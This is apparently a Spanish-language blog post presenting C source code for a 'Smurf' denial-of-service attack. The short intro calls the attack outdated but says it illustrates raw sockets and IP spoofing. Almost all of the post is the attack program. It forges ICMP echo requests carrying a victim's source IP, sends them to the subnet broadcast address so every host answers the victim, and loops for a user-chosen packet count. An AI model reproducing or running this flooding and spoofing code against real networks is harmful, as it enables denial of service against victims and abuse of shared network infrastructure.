El ataque de los pitufos

Aunque hoy en día este ataque de DoS está en desuso, ilustra el uso de raw sockets para construir un paquete modificado spoofeando la IP de origen.










/*******************************************************************
Autor: skarvin
e-mail: skarvin@gmail.com

Este ataque realiza un ping con la ip de la victima a la direccion
ip de broadcast de su misma subred, con lo cual todos los ordenadores
de la red responderan a la víctima
********************************************************************/

#include <stdlib.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <net/ethernet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <malloc.h>
#include <ctype.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <fcntl.h>

u_long get_ipbcast(char *);
unsigned short in_cksum(unsigned short * , int );
int send_icmp_packet(unsigned long , unsigned long , char * , int, int);


int main(int argc, char **argv){
struct in_addr in_s,in_d;/*source,dest*/
char ip[28];
int n_pkts;

if(argc != 3){
printf("usage: %s victima num_pkts\n",argv[0]);
exit(EXIT_FAILURE);
}

/*procedemos a verificar la ip introducida*/
if(inet_addr(argv[1])==INADDR_NONE){
printf("Dirección IP incorrecta!");
exit(EXIT_FAILURE);
}

in_d.s_addr = get_ipbcast("eth0");
strcpy(ip,(char *)inet_ntoa(in_d));
n_pkts=atoi(argv[2]);
inet_aton(argv[1], &in_s);

printf("Enviando %d paquetes a la dirección de broadcast %s desde %s\n\n",n_pkts,ip,argv[1]);

/*enviamos los paquetes con solicitud de eco a la ip de broadcast*/
for(;n_pkts>0;n_pkts--)
send_icmp_packet(in_d.s_addr,in_s.s_addr," ",sizeof(" "), ICMP_ECHO);
}

u_long get_ipbcast(char *iface) {
/*Esta función devuelve la dirección de broadcast de la ip*/
int sd;
struct ifreq ifr;
struct in_addr inaddr;

if((sd=socket(AF_INET,SOCK_DGRAM,0))<0) {
perror("socket");
return 0;
}
bcopy(iface,ifr.ifr_name,IFNAMSIZ);
if(ioctl(sd,SIOCGIFBRDADDR,&ifr)<0) {
perror("ioctl(SIOCGIFADDR)");
return 0;
}
bcopy(&ifr.ifr_broadaddr.sa_data[2],&inaddr,sizeof(struct in_addr));
close(sd);
return inaddr.s_addr;

}
int send_icmp_packet(unsigned long dst_ip, unsigned long src_ip,
char * data, int data_size ,int icmp_type){

/* socket */
int sock;

/* Longitud de un paquete ICMP */
unsigned int buffer_size =
sizeof(struct iphdr) + sizeof(struct icmphdr) + data_size;

/* Paquete capaz con capacidad para un paquete ICMP */
unsigned char buffer[buffer_size];
memset(buffer, 0, buffer_size);

/* Cabecera IP */
struct iphdr *ip = (struct iphdr *)buffer;

/* Cabecera ICMP */
struct icmphdr *icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));

/* Datos */
char *p_data = (buffer + sizeof(struct iphdr) + sizeof(struct icmphdr));
mempcpy (p_data, data, data_size);


/* Creación del socket */
if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) == -1) {

perror("socket()");
exit(EXIT_FAILURE);
}

/* Establece las opciones del socket */
int o = 1;
if( setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1 ) {

perror("setsockopt()");
exit(EXIT_FAILURE);
}

/* Rellena la cabecera IP */
ip->version = 4;
ip->ihl = 5;
ip->id = htons(1234);
ip->saddr = src_ip;
ip->daddr = dst_ip;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->tot_len = buffer_size;
ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));

/* Rellena la cabecera ICMP */
icmp->type = icmp_type;
icmp->code = 0;
icmp->checksum = in_cksum((u_short *)icmp, sizeof(struct icmphdr)+data_size);;

/* Rellena la estructura sockaddr_in */
struct sockaddr_in addr;
addr.sin_family = AF_INET;

/* Envío del paquete */
if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr,
sizeof(struct sockaddr_in))) == -1 ) {

perror("send()");
exit(EXIT_FAILURE);
}


}
/*Funcion que calcula el checksum de un paquete
Código obrenido de http://www.w00w00.org/files/misc/spoof.c*/
unsigned short in_cksum(unsigned short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
Posted on 9:22 p. m. by skarvin and filed under | 0 Comments »

0 comentarios: